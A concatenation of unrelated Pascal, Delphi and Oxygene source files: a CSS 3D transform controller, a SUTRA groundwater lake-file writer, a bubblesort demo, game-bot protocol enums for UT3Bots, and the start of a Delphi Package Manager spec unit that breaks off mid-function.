procedure TQTXTransformController.MoveX(const aValue: Float);
begin
FX+=aValue;
end;
procedure TQTXTransformController.MoveY(const aValue: Float);
begin
FY+=aValue;
end;
procedure TQTXTransformController.MoveZ(const aValue: Float);
begin
FZ+=aValue;
end;
procedure TQTXTransformController.Move(x, y, z: Float);
begin
FX+=X;
FY+=Y;
FZ+=Z;
end;
procedure TQTXTransformController.SetRegistrationPoint(const X,Y,Z: Float);
begin
FRegX := X;
FRegY := Y;
FRegZ := Z;
end;
procedure TQTXTransformController.Scale(const X,Y,Z: Float);
begin
FScaleX := X;
FScaleY := Y;
FScaleZ := Z;
end;
procedure TQTXTransformController.Scale(const aValue: Float);
begin
FScaleX := aValue;
FScaleY := aValue;
FScaleZ := aValue;
end;
procedure TQTXTransformController.SetPosition(const X,Y,Z: Float);
begin
FX := X;
FY := Y;
FZ := Z;
end;
procedure TQTXTransformController.SetRotation(const X,Y,Z: Float);
begin
FRotX := X;
FRotY := Y;
FRotZ := Z;
end;
procedure TQTXTransformController.Rotate(const XFactor,YFactor,ZFactor: Float);
begin
FRotX+=XFactor;
FRotY+=YFactor;
FRotZ+=ZFactor;
end;
procedure TQTXTransformController.Rotate(const aValue: Float);
begin
FRotX+=aValue;
FRotY+=aValue;
FRotZ+=aValue;
end;
procedure TQTXTransformController.RotateX(const aValue: Float);
begin
FRotX+=aValue;
end;
procedure TQTXTransformController.RotateY(const aValue: Float);
begin
FRotY+=aValue;
end;
procedure TQTXTransformController.RotateZ(const aValue: Float);
begin
FRotZ+=aValue;
end;
procedure TQTXTransformController.SetTransformOrigin(const X, Y: Float);
begin
FHandle.style[w3_CSSPrefix('transformOrigin')] :=
FloatToStr(X) +'px ' + FloatToStr(Y) +'px';
end;
procedure TQTXTransformController.setTransformFlags(const aValue:TQTXTransformOptions);
begin
FFlags := aValue;
end;
procedure TQTXTransformController.Update;
var
mTemp: String;
begin
if (FHandle) then
begin
mTemp:='';
if (toUseRotX in FFlags) then
mTemp += 'rotateX(' + FloatToStr(FRotX) + 'deg) ';
if (toUseRotY in FFlags) then
mTemp += 'rotateY(' + FloatToStr(FRotY) + 'deg) ';
if (toUseRotZ in FFlags) then
mTemp += 'rotateZ(' + FloatToStr(FRotZ) + 'deg) ';
if (toUsePos in FFlags) then
mTemp += 'translate3d('
+ FloatToStr(FX - FRegX) + 'px,'
+ FloatToStr(FY - FRegY) + 'px,'
+ FloatToStr(FZ - FRegZ) + 'px) ';
if (toUseScale in FFlags) then
mTemp += 'scale3d(' + FloatToStr(FScaleX) + ','
+ FloatToStr(FScaleY) +','
+ FloatToStr(FScaleZ) + ') ';
FHandle.style[w3_CSSPrefix('Transform')] := mTemp;
end;
end;
end.
|
unit SutraLakeWriterUnit;
interface
uses
CustomModflowWriterUnit, System.Generics.Collections, PhastModelUnit,
SutraOptionsUnit, System.SysUtils;
type
TLakeNodeRecord = record
InitialStage: double;
InitialU: double;
RechargeFraction: double;
DischargeFraction: double;
end;
TLakeNode = class(TObject)
NodeNumber: Integer;
LakeProperties: TLakeNodeRecord;
end;
TLakeNodes = TObjectList<TLakeNode>;
TSutraLakeWriter = class(TCustomFileWriter)
private
FLakeNodes: TLakeNodes;
FLakeOptions: TSutraLakeOptions;
procedure Evaluate;
procedure WriteDataSet1;
procedure WriteDataSet2;
procedure WriteDataSet3;
procedure WriteLakeAreaDataSet1a;
procedure WriteLakeAreaDataSet1b;
protected
class function Extension: string; override;
public
Constructor Create(AModel: TCustomModel; EvaluationType: TEvaluationType); override;
destructor Destroy; override;
procedure WriteFile(const AFileName: string);
end;
implementation
uses
ScreenObjectUnit, SutraBoundariesUnit, GoPhastTypes, DataSetUnit, RbwParser,
frmFormulaErrorsUnit, SutraMeshUnit, SutraFileWriterUnit;
resourcestring
StrInitialLakeStage = 'Initial Lake Stage';
StrInitialLakeConcent = 'Initial Lake Concentration or Temperature';
{ TSutraLakeWriter }
constructor TSutraLakeWriter.Create(AModel: TCustomModel;
EvaluationType: TEvaluationType);
begin
inherited;
FLakeNodes := TLakeNodes.Create;
end;
destructor TSutraLakeWriter.Destroy;
begin
FLakeNodes.Free;
inherited;
end;
procedure TSutraLakeWriter.Evaluate;
var
ScreenObjectIndex: Integer;
ScreenObject: TScreenObject;
ALake: TSutraLake;
InitialStageFormula: string;
InitalStageDataSet: TRealSparseDataSet;
InitialU: TRealSparseDataSet;
InitialUFormula: string;
FractionRechargeDivertedFormula: string;
FractionRechargeDiverted: TRealSparseDataSet;
FractionDischargeDivertedFormula: string;
FractionDischargeDiverted: TRealSparseDataSet;
ColIndex: Integer;
NodeNumber: Integer;
LakeNodes: array of TLakeNode;
LakeNodeRecord: TLakeNodeRecord;
ALakeNode: TLakeNode;
begin
SetLength(LakeNodes, Model.SutraMesh.Nodes.Count);
for ScreenObjectIndex := 0 to Model.ScreenObjectCount - 1 do
begin
ScreenObject := Model.ScreenObjects[ScreenObjectIndex];
if ScreenObject.Deleted then
begin
Continue;
end;
ALake := ScreenObject.SutraBoundaries.Lake;
if ALake.IsUsed then
begin
InitialStageFormula := ALake.InitialStage;
InitialUFormula := ALake.InitialConcentrationOrTemperature;
FractionRechargeDivertedFormula := ALake.FractionRechargeDiverted;
FractionDischargeDivertedFormula := ALake.FractionDischargeDiverted;
InitalStageDataSet := TRealSparseDataSet.Create(Model);
InitialU := TRealSparseDataSet.Create(Model);
FractionRechargeDiverted := TRealSparseDataSet.Create(Model);
FractionDischargeDiverted := TRealSparseDataSet.Create(Model);
try
InitalStageDataSet.DataType := rdtDouble;
InitalStageDataSet.Name := ValidName('Initial_Stage');
InitalStageDataSet.UseLgrEdgeCells := lctUse;
InitalStageDataSet.EvaluatedAt := eaNodes;
InitalStageDataSet.Orientation := dsoTop;
Model.UpdateDataArrayDimensions(InitalStageDataSet);
InitialU.DataType := rdtDouble;
InitialU.Name := ValidName('Initial_U');
InitialU.UseLgrEdgeCells := lctUse;
InitialU.EvaluatedAt := eaNodes;
InitialU.Orientation := dsoTop;
Model.UpdateDataArrayDimensions(InitialU);
FractionRechargeDiverted.DataType := rdtDouble;
FractionRechargeDiverted.Name := ValidName('Fraction_Recharge_Diverted');
FractionRechargeDiverted.UseLgrEdgeCells := lctUse;
FractionRechargeDiverted.EvaluatedAt := eaNodes;
FractionRechargeDiverted.Orientation := dsoTop;
Model.UpdateDataArrayDimensions(FractionRechargeDiverted);
FractionDischargeDiverted.DataType := rdtDouble;
FractionDischargeDiverted.Name := ValidName('Fraction_Discharge_Diverted');
FractionDischargeDiverted.UseLgrEdgeCells := lctUse;
FractionDischargeDiverted.EvaluatedAt := eaNodes;
FractionDischargeDiverted.Orientation := dsoTop;
Model.UpdateDataArrayDimensions(FractionDischargeDiverted);
try
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, InitalStageDataSet,
InitialStageFormula, Model);
except on E: ErbwParserError do
begin
frmFormulaErrors.AddFormulaError(ScreenObject.Name, StrInitialLakeStage,
InitialStageFormula, E.Message);
InitialStageFormula := '0';
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, InitalStageDataSet,
InitialStageFormula, Model);
end;
end;
try
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, InitialU,
InitialUFormula, Model);
except on E: ErbwParserError do
begin
frmFormulaErrors.AddFormulaError(ScreenObject.Name, StrInitialLakeConcent,
InitialUFormula, E.Message);
InitialUFormula := '0';
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, InitialU,
InitialUFormula, Model);
end;
end;
try
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, FractionRechargeDiverted,
FractionRechargeDivertedFormula, Model);
except on E: ErbwParserError do
begin
frmFormulaErrors.AddFormulaError(ScreenObject.Name, StrInitialLakeConcent,
FractionRechargeDivertedFormula, E.Message);
FractionRechargeDivertedFormula := '0';
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, FractionRechargeDiverted,
FractionRechargeDivertedFormula, Model);
end;
end;
try
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, FractionDischargeDiverted,
FractionDischargeDivertedFormula, Model);
except on E: ErbwParserError do
begin
frmFormulaErrors.AddFormulaError(ScreenObject.Name, StrInitialLakeConcent,
FractionDischargeDivertedFormula, E.Message);
FractionDischargeDivertedFormula := '0';
ScreenObject.AssignValuesToSutraDataSet(Model.SutraMesh, FractionDischargeDiverted,
FractionDischargeDivertedFormula, Model);
end;
end;
Assert(InitalStageDataSet.RowCount = 1);
Assert(InitalStageDataSet.LayerCount = 1);
for ColIndex := 0 to InitalStageDataSet.ColumnCount - 1 do
begin
if InitalStageDataSet.IsValue[0,0,ColIndex] then
begin
Assert(InitialU.IsValue[0,0,ColIndex]);
Assert(FractionRechargeDiverted.IsValue[0,0,ColIndex]);
Assert(FractionDischargeDiverted.IsValue[0,0,ColIndex]);
NodeNumber := Model.SutraMesh.NodeArray[0,ColIndex].Number;
LakeNodeRecord.InitialStage := InitalStageDataSet.RealData[0,0,ColIndex];
LakeNodeRecord.InitialU := InitalStageDataSet.RealData[0,0,ColIndex];
LakeNodeRecord.RechargeFraction := FractionRechargeDiverted.RealData[0,0,ColIndex];
LakeNodeRecord.DischargeFraction := FractionDischargeDiverted.RealData[0,0,ColIndex];
if LakeNodes[NodeNumber] = nil then
begin
ALakeNode := TLakeNode.Create;
ALakeNode.NodeNumber := NodeNumber;
FLakeNodes.Add(ALakeNode);
LakeNodes[NodeNumber] := ALakeNode;
end
else
begin
ALakeNode := LakeNodes[NodeNumber];
end;
ALakeNode.LakeProperties := LakeNodeRecord;
end;
end;
Model.DataArrayManager.CacheDataArrays;
InitalStageDataSet.UpToDate := True;
InitalStageDataSet.CacheData;
finally
InitalStageDataSet.Free;
InitialU.Free;
FractionRechargeDiverted.Free;
FractionDischargeDiverted.Free;
end;
end;
end;
end;
class function TSutraLakeWriter.Extension: string;
begin
result := '.lkin';
end;
procedure TSutraLakeWriter.WriteDataSet1;
var
ITLMAX: Integer;
NPRLAK: Integer;
begin
ITLMAX := FLakeOptions.MaxLakeIterations;
NPRLAK := FLakeOptions.LakeOutputCycle;
WriteInteger(ITLMAX);
WriteInteger(NPRLAK);
NewLine;
end;
procedure TSutraLakeWriter.WriteDataSet2;
var
NLSPEC: Integer;
FRROD: Double;
FDROD: Double;
VLIM: Double;
RNOLK: Double;
begin
NLSPEC := FLakeNodes.Count;
FRROD := FLakeOptions.RechargeFraction;
FDROD := FLakeOptions.DischargeFraction;
VLIM := FLakeOptions.MinLakeVolume;
RNOLK := FLakeOptions.SubmergedOutput;
WriteInteger(NLSPEC);
WriteFloat(FRROD);
WriteFloat(FDROD);
WriteFloat(VLIM);
WriteFloat(RNOLK);
NewLine;
end;
procedure TSutraLakeWriter.WriteDataSet3;
const
CTYPE = 'NODE';
var
NodeIndex: Integer;
ALake: TLakeNode;
ILON: Integer;
STGI: Double;
UWI: Double;
FRRO: Double;
FDRO: Double;
begin
for NodeIndex := 0 to FLakeNodes.Count - 1 do
begin
ALake := FLakeNodes[NodeIndex];
ILON := ALake.NodeNumber + 1;
STGI := ALake.LakeProperties.InitialStage;
UWI := ALake.LakeProperties.InitialU;
FRRO := ALake.LakeProperties.RechargeFraction;
FDRO := ALake.LakeProperties.DischargeFraction;
WriteString(CTYPE);
WriteInteger(ILON);
WriteFloat(STGI);
WriteFloat(UWI);
WriteFloat(FRRO);
WriteFloat(FDRO);
NewLine;
end;
end;
procedure TSutraLakeWriter.WriteFile(const AFileName: string);
var
NameOfFile: string;
LakeStageFile: string;
LakeRestartFile: string;
begin
if Model.ModelSelection <> msSutra30 then
begin
Exit;
end;
if Model.Mesh.MeshType <> mt3D then
begin
Exit;
end;
Evaluate;
if FLakeNodes.Count = 0 then
begin
Exit;
end;
FLakeOptions := Model.SutraOptions.LakeOptions;
NameOfFile := FileName(AFileName);
OpenFile(NameOfFile);
try
WriteDataSet1;
WriteDataSet2;
WriteDataSet3;
finally
CloseFile;
end;
SutraFileWriter.AddFile(sftLkin, NameOfFile);
NameOfFile := ChangeFileExt(AFileName, '.lkar');
OpenFile(NameOfFile);
try
WriteLakeAreaDataSet1a;
WriteLakeAreaDataSet1b;
finally
CloseFile;
end;
SutraFileWriter.AddFile(sftLkar, NameOfFile);
LakeStageFile := ChangeFileExt(AFileName, '.lkst');
SutraFileWriter.AddFile(sftLkst, LakeStageFile);
LakeRestartFile := ChangeFileExt(AFileName, '.lkrs');
SutraFileWriter.AddFile(sftLKrs, LakeRestartFile);
end;
procedure TSutraLakeWriter.WriteLakeAreaDataSet1a;
var
NNLK: integer;
begin
NNLK := FLakeNodes.Count;
WriteString('LAKE');
WriteInteger(NNLK);
NewLine;
end;
procedure TSutraLakeWriter.WriteLakeAreaDataSet1b;
var
NodeIndex: Integer;
IL: Integer;
begin
for NodeIndex := 0 to FLakeNodes.Count - 1 do
begin
IL := FLakeNodes[NodeIndex].NodeNumber + 1;
WriteInteger(IL);
NewLine;
end;
WriteInteger(0);
NewLine;
end;
end.
|
program StraightExchange;
{*
Straight Exchange Sort
a.k.a. Bubblesort
If we view the array to be in a vertical instead of a horizontal position, and the items as bubbles in a water tank with "weights" according to their keys, then each pass over the array results in the ascention of a bubble to its appropriate level of weight.
Exchange sort is inferior to both straight insertion and straight selection; in fact, the bubblesort has hardly anything to recommend it except its catchy name!
Unlike modern versions, Wirth loops from right to left; I assume to fit the analogy of bubbles rising.
O(n^2)
worst case: O(n^2) swaps
best case: O(1) swaps
*}
{$mode objfpc}{$H+}
uses {$IFDEF UNIX} {$IFDEF UseCThreads}
cthreads, {$ENDIF} {$ENDIF}
TypeUtils,
Classes;
type
item = record
key: integer;
Value: string;
end;
type
itemArray = array of item;
type
index = integer;
{* ------------------------------------------------------------------ shuffle
The Fisher-Yates shuffle, in its original form, was described in 1938
by Ronald Fisher and Frank Yates in their book Statistical tables for
biological, agricultural and medical research.
The modern version of the Fisher-Yates shuffle, designed for computer use,
was introduced by Richard Durstenfeld in 1964 and popularized by
Donald E. Knuth in The Art of Computer Programming.
O(n)
*}
function shuffle(arr: itemArray): itemArray;
var
i, j: index;
r: integer;
a: item;
b: item;
begin
for i := (length(arr) - 1) downto 1 do
begin
r := random(i);
a := arr[i];
b := arr[r];
arr[i] := b;
arr[r] := a;
end;
Result := arr;
end;
{ ---------------------------------------------------- straightExchangeSort }
{ aka bubblesort
Exchange sort is inferior to both straight insertion and straight selection;
in fact, the bubblesort has hardly anything to recommend it except its catchy name!
}
function straightExchangeSort(a: itemArray): itemArray;
var
i, j, n: index;
var
x: item;
begin
n := (length(a) - 1);
begin
for i := 1 to n do
begin
for j := n downto i do
if a[j - 1].key > a[j].key then
begin
x := a[j - 1];
a[j - 1] := a[j];
a[j] := x;
end;
end;
Result := a;
end;
end;
var
a: array[0..9] of item = ((key: 0; Value: 'A'), (key: 1; Value: 'B'), (key: 2;
Value: 'C'), (key: 3; Value: 'D'), (key: 4; Value: 'E'), (key: 5;
Value: 'F'), (key: 6; Value: 'G'), (key: 7; Value: 'H'), (key: 8;
Value: 'I'), (key: 9; Value: 'J'));
b: itemArray;
begin
b := shuffle(a);
Writeln(ToStr(b, TypeInfo(b)));
b := straightExchangeSort(b); // bubblesort
Writeln(ToStr(b, TypeInfo(b)));
end.
|
namespace UT3Bots.Communications;
interface
uses
System,
System.Collections.Generic,
System.Linq,
System.Text,
System.Diagnostics,
System.Reflection,
System.Runtime.CompilerServices;
type
[AttributeUsage(AttributeTargets.Field)]
StringValueAttribute = public class (Attribute)
private
_stringvalue: string;
public
property StringValue: string read _stringvalue write _stringvalue;
constructor(value: String);
end;
EventMessage = assembly enum(
[StringValue('')]
None = 0,
/// <summary>
/// The message indicating that this a status update
/// </summary>
[StringValue('STATE')]
STATE,
/// <summary>
/// The message containing info about the game that you have connected to
/// </summary>
[StringValue('INFO')]
INFO,
/// <summary>
/// The message that the match is over
/// </summary>
[StringValue('ENDMATCH')]
MATCH_ENDED,
/// <summary>
/// The message telling you that the match has not yet started
/// </summary>
[StringValue('WAITFORSPAWN')]
WAITING_FOR_SPAWN,
/// <summary>
/// The message telling you that you've respawned and ready to fight
/// </summary>
[StringValue('SPAWNED')]
SPAWNED,
/// <summary>
/// A message that a player has died
/// </summary>
[StringValue('KILLED')]
KILLED,
/// <summary>
/// The message that this bot has died
/// </summary>
[StringValue('DIED')]
DIED,
/// <summary>
/// The message that this bot might fall
/// </summary>
[StringValue('FOUNDFALL')]
FOUNDFALL,
/// <summary>
/// The message about having seen another player
/// </summary>
[StringValue('SEENPLAYER')]
SEEN_PLAYER,
/// <summary>
/// The message about having bumped into something
/// </summary>
[StringValue('BUMPED')]
BUMPED,
/// <summary>
/// The message about having bumped into a wall
/// </summary>
[StringValue('HITWALL')]
HIT_WALL,
/// <summary>
/// The message about having heard a noise nearby
/// </summary>
[StringValue('HEARDNOISE')]
HEARD_NOISE,
/// <summary>
/// The message about being damages
/// </summary>
[StringValue('DAMAGED')]
DAMAGED,
/// <summary>
/// The message about hearing a chat message
/// </summary>
[StringValue('CHAT')]
CHAT,
/// <summary>
/// The message about someone taunting you
/// </summary>
[StringValue('TAUNTED')]
TAUNTED,
/// <summary>
/// The message about the bot's weapon changing
/// </summary>
[StringValue('WEAPONCHANGED')]
WEAPON_CHANGED,
/// <summary>
/// The message about the bot picking up an item
/// </summary>
[StringValue('GOTPICKUP')]
GOT_PICKUP,
/// <summary>
/// The message about the path returned from a 'get path' call
/// </summary>
[StringValue('PATH')]
PATH
);
CommandMessage = assembly enum(
[StringValue('')]
None = 0,
/// <summary>
/// The command to setup the bot
/// </summary>
[StringValue('INIT')]
INITIALIZE,
/// <summary>
/// The command to Fire your gun
/// </summary>
[StringValue('FIRE')]
FIRE,
/// <summary>
/// The command to stop firing your gun
/// </summary>
[StringValue('STOPFIRE')]
STOP_FIRE,
/// <summary>
/// The command to stop the bot moving
/// </summary>
[StringValue('STOP')]
STOP,
/// <summary>
/// The command to Run to a location
/// </summary>
[StringValue('RUNTO')]
RUN_TO,
/// <summary>
/// The command to Strafe to a location while looking at a target
/// </summary>
[StringValue('STRAFETO')]
STRAFE_TO,
/// <summary>
/// The command to rotate the bot to point at a specific location
/// </summary>
[StringValue('ROTATETO')]
ROTATE_TO,
/// <summary>
/// The command to rotate the bot by a certain amount
/// </summary>
[StringValue('ROTATEBY')]
ROTATE_BY,
/// <summary>
/// The command to make the bot jump
/// </summary>
[StringValue('JUMP')]
JUMP,
/// <summary>
/// The command to make the bot send a chat message
/// </summary>
[StringValue('SENDCHAT')]
SENDCHAT,
/// <summary>
/// The command to make the bot send a taunt message
/// </summary>
[StringValue('SENDTAUNT')]
SENDTAUNT,
/// <summary>
/// The command to make the bot send an emote
/// </summary>
[StringValue('SENDEMOTE')]
SENDEMOTE,
/// <summary>
/// The command to make the bot walk or run
/// </summary>
[StringValue('SETWALK')]
SETWALK,
/// <summary>
/// The command to make the bot change weapon
/// </summary>
[StringValue('CHANGEWEAPON')]
CHANGE_WEAPON,
/// <summary>
/// The command to request a list of path nodes to a location
/// </summary>
[StringValue('GETPATH')]
GET_PATH
);
InfoMessage = assembly enum(
[StringValue('')]
None = 0,
/// <summary>
/// The message stating that this is the beginning of a state update batch
/// </summary>
[StringValue('BEGIN')]
&BEGIN,
/// <summary>
/// The message stating that this is the end of a state update batch
/// </summary>
[StringValue('END')]
&END,
/// <summary>
/// The message about player scores
/// </summary>
[StringValue('SCORE')]
SCORE_INFO,
/// <summary>
/// The message about player info
/// </summary>
[StringValue('PLAYER')]
PLAYER_INFO,
/// <summary>
/// The message about navigation points
/// </summary>
[StringValue('NAV')]
NAV_INFO,
/// <summary>
/// The message about power ups that are on the map
/// </summary>
[StringValue('PICKUP')]
PICKUP_INFO,
/// <summary>
/// The message about the bot itself
/// </summary>
[StringValue('SELF')]
SELF_INFO,
/// <summary>
/// The message about the game
/// </summary>
[StringValue('GAME')]
GAME_INFO
);
[Extension]
Extensions = assembly static class
private
class var EventMessages: Dictionary<String, EventMessage>;
class var InfoMessages: Dictionary<String, InfoMessage>;
class var WeaponTypes: Dictionary<String, WeaponType>;
class var AmmoTypes: Dictionary<String, AmmoType>;
class var HealthTypes: Dictionary<String, HealthType>;
class var ArmorTypes: Dictionary<String, ArmorType>;
assembly
[Extension]
class method GetStringValue(value : &Enum): String;
[Extension]
class method GetNames(t: &Type): array of String;
[Extension]
class method GetAsEvent(value: String): EventMessage;
[Extension]
class method GetAsInfo(value: String): InfoMessage;
[Extension]
class method GetAsWeaponType(value: String): WeaponType;
[Extension]
class method GetAsAmmoType(value: String): AmmoType;
[Extension]
class method GetAsHealthType(value: String): HealthType;
[Extension]
class method GetAsArmorType(value: String): ArmorType;
constructor;
end;
implementation
class method Extensions.GetNames(t: &Type): array of String;
begin
var names: List<String> := new List<String>();
var infoCollection: array of FieldInfo := t.GetFields(BindingFlags.&Public or BindingFlags.&Static);
for each fi: FieldInfo in infoCollection do
begin
names.&Add(fi.Name)
end;
exit names.ToArray()
end;
class method Extensions.GetStringValue(value: &Enum): String;
begin
var &type: &Type := value.GetType();
var fieldInfo: FieldInfo := &type.GetField(value.ToString());
var attribs: array of StringValueAttribute := array of StringValueAttribute(fieldInfo.GetCustomAttributes(typeOf(StringValueAttribute), false));
exit iif(attribs.Length > 0, attribs[0].StringValue, nil)
end;
constructor Extensions;
begin
EventMessages := new Dictionary<String, EventMessage>();
var names: array of String := GetNames(typeOf(EventMessage));
for each name: String in names do
begin
var &type: EventMessage := (EventMessage(&Enum.Parse(typeOf(EventMessage), name, true)));
EventMessages.&Add(&type.GetStringValue(), &type)
end;
InfoMessages := new Dictionary<String, InfoMessage>();
names := GetNames(typeOf(InfoMessage));
for each name: String in names do
begin
var &type: InfoMessage := (InfoMessage(&Enum.Parse(typeOf(InfoMessage), name, true)));
InfoMessages.&Add(&type.GetStringValue(), &type)
end;
WeaponTypes := new Dictionary<String, WeaponType>();
names := GetNames(typeOf(WeaponType));
for each name: String in names do
begin
var &type: WeaponType := (WeaponType(&Enum.Parse(typeOf(WeaponType), name, true)));
WeaponTypes.&Add(&type.GetStringValue(), &type)
end;
AmmoTypes := new Dictionary<String, AmmoType>();
names := GetNames(typeOf(AmmoType));
for each name: String in names do
begin
var &type: AmmoType := (AmmoType(&Enum.Parse(typeOf(AmmoType), name, true)));
AmmoTypes.&Add(&type.GetStringValue(), &type)
end;
HealthTypes := new Dictionary<String, HealthType>();
names := GetNames(typeOf(HealthType));
for each name: String in names do
begin
var &type: HealthType := (HealthType(&Enum.Parse(typeOf(HealthType), name, true)));
HealthTypes.&Add(&type.GetStringValue(), &type)
end;
ArmorTypes := new Dictionary<String, ArmorType>();
names := GetNames(typeOf(ArmorType));
for each name: String in names do
begin
var &type: ArmorType := (ArmorType(&Enum.Parse(typeOf(ArmorType), name, true)));
ArmorTypes.&Add(&type.GetStringValue(), &type)
end
end;
class method Extensions.GetAsEvent(value: String): EventMessage;
begin
if (EventMessages.ContainsKey(value)) then Result := EventMessages[value] else Result := EventMessage.None;
end;
class method Extensions.GetAsInfo(value: String): InfoMessage;
begin
if (InfoMessages.ContainsKey(value)) then Result := InfoMessages[value] else Result := InfoMessage.None;
end;
class method Extensions.GetAsWeaponType(value: String): WeaponType;
begin
if (WeaponTypes.ContainsKey(value)) then Result := WeaponTypes[value] else Result := WeaponType.None;
end;
class method Extensions.GetAsAmmoType(value: String): AmmoType;
begin
if (AmmoTypes.ContainsKey(value)) then Result := AmmoTypes[value] else Result := AmmoType.None;
end;
class method Extensions.GetAsHealthType(value: String): HealthType;
begin
if (HealthTypes.ContainsKey(value)) then Result := HealthTypes[value] else Result := HealthType.None;
end;
class method Extensions.GetAsArmorType(value: String): ArmorType;
begin
if (ArmorTypes.ContainsKey(value)) then Result := ArmorTypes[value] else Result := ArmorType.None;
end;
constructor StringValueAttribute(value: String);
begin
Self._stringvalue := value;
end;
end. |
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Spec;
interface
uses
System.SysUtils,
System.Classes,
Spring.Collections,
System.RegularExpressions,
DPM.Core.Types,
DPM.Core.Logging,
VSoft.SemanticVersion,
DPM.Core.Spec.Interfaces,
DPM.Core.Spec.Node,
JsonDataObjects;
type
TSpec = class(TSpecNode, IPackageSpec)
private
FMetaData : ISpecMetaData;
FTargetPlatforms : IList<ISpecTargetPlatform>;
FTemplates : IList<ISpecTemplate>;
FIsValid : boolean;
FCurrentTokens : TStringList;
FFileName : string;
public
function ApplyDependencies(const targetPlatform : ISpecTargetPlatform; const dependencies : IList<ISpecDependency>) : boolean;
function ApplySearchPaths(const targetPlatform : ISpecTargetPlatform; const searchPaths : IList<ISpecSearchPath>) : boolean;
function ApplyLibrary(const targetPlatform : ISpecTargetPlatform; const libs : IList<ISpecFileEntry>) : boolean;
function ApplySource(const targetPlatform : ISpecTargetPlatform; const sourceFiles : IList<ISpecFileEntry>) : boolean;
function ApplyOtherFiles(const targetPlatform : ISpecTargetPlatform; const files : IList<ISpecFileEntry>) : boolean;
function ApplyDesign(const targetPlatform : ISpecTargetPlatform; const designFiles : IList<ISpecBPLEntry>) : boolean;
function ApplyRuntime(const targetPlatform : ISpecTargetPlatform; const runtimeFiles : IList<ISpecBPLEntry>) : boolean;
function ApplyBuild(const targetPlatform : ISpecTargetPlatform; const buildEntries : IList<ISpecBuildEntry>) : boolean;
function ApplyTemplates : Boolean;
function ExpandTargetPlatforms : boolean;
function ReplaceTokens(const version : TPackageVersion; const properties : TStringList) : boolean;
procedure GetTokensForTargetPlatform(const targetPlatform : ISpecTargetPlatform; const version : TPackageVersion; const list : TStringList; const externalProps : TStringList);
function TokenMatchEvaluator(const match : TMatch) : string;
function PreProcess(const version : TPackageVersion; const properties : TStringList) : boolean;
function GenerateManifestJson(const version : TSemanticVersion; const targetPlatform : ISpecTargetPlatform) : string;
function GetFileName : string;
function GetIsValid : boolean;
function GetMetaData : ISpecMetaData;
function GetTargetPlatform : ISpecTargetPlatform;
function GetTargetPlatforms : IList<ISpecTargetPlatform>;
function GetTemplates : IList<ISpecTemplate>;
function LoadTemplateFromJson(const templateObj : TJsonObject; const templateNo : integer) : boolean;
function LoadTemplatesFromJson(const templatesArray : TJsonArray) : boolean;
function LoadTargetPlatformsFromJson(const targetPlatformsArray : TJsonArray) : boolean;
function LoadFromJson(const jsonObject : TJsonObject) : Boolean; override;
function FindTemplate(const name : string) : ISpecTemplate;
public
constructor Create(const logger : ILogger; const fileName : string); reintroduce;
end;
implementation
uses
DPM.Core.Constants,
DPM.Core.Dependency.Version,
DPM.Core.Spec.MetaData,
DPM.Core.Spec.Template,
DPM.Core.Spec.TargetPlatform,
DPM.Core.Utils.Strings;
{ TSpec }
function TSpec.ApplyBuild(const targetPlatform : ISpecTargetPlatform; const buildEntries : IList<ISpecBuildEntry>) : boolean;
var
existing : ISpecBuildEntry;
newBuildEntry : ISpecBuildEntry;
begin
result := true;
for newBuildEntry in buildEntries do
begin
existing := targetPlatform.FindBuildEntryById(newBuildEntry.id);
if existing <> nil then
begin
result := false;
Logger.Error('Duplicate Build entry ' + newBuildEntry.Id + '] found in targetPlatform and template');
end
else
begin
targetPlatform.BuildEntries.Add(newBuildEntry.Clone);
end;
end;
end;
function TSpec.ApplyDependencies(const targetPlatform : ISpecTargetPlatform; const dependencies : IList<ISpecDependency>) : boolean;
var
newDependency : ISpecDependency;
existingDependency : ISpecDependency;
depGroup : ISpecDependencyGroup;
begin
result := true;
if not dependencies.Any then
exit;
//first see if there is a group for this target platform, if there is then that is all we will use.
depGroup := dependencies.FirstOrDefault(
function(const dependency : ISpecDependency) : boolean
var
group : ISpecDependencyGroup;
begin
result := dependency.IsGroup;
if result then
begin
group := dependency as ISpecDependencyGroup;
result := (group.TargetPlatform.Compiler = targetPlatform.Compiler)
and (group.TargetPlatform.Platform = targetPlatform.Platforms[0]);
end;
end) as ISpecDependencyGroup;
//group replaces existing.
if depGroup <> nil then
begin
targetPlatform.Dependencies.Clear;
for existingDependency in depGroup.dependencies do
begin
newDependency := existingDependency.Clone;
targetPlatform.Dependencies.Add(newDependency);
end;
exit;
end;
for newDependency in dependencies do
begin
existingDependency := targetPlatform.FindDependencyById(newDependency.Id);
if existingDependency <> nil then
begin
result := false;
Logger.Error('Duplicate dependency [' + newDependency.Id + '] found in targetPlatform and template');
end
else
begin
existingDependency := newDependency.Clone;
targetPlatform.Dependencies.Add(existingDependency);
end;
end;
end;
function TSpec.ApplyDesign(const targetPlatform : ISpecTargetPlatform; const designFiles : IList<ISpecBPLEntry>) : boolean;
var
existing : ISpecBPLEntry;
newBPL : ISpecBPLEntry;
begin
result := true;
for newBPL in designFiles do
begin
existing := targetPlatform.FindDesignBplBySrc(newBPL.Source);
if existing <> nil then
begin
result := false;
Logger.Error('Duplicate Design bpl ' + newBPL.Source + '] found in targetPlatform and template');
end
else
begin
existing := newBPL.Clone;
targetPlatform.DesignFiles.Add(existing.Clone);
end;
end;
end;
function TSpec.ApplyLibrary(const targetPlatform : ISpecTargetPlatform; const libs : IList<ISpecFileEntry>) : boolean;
var
existing : ISpecFileEntry;
newEntry : ISpecFileEntry;
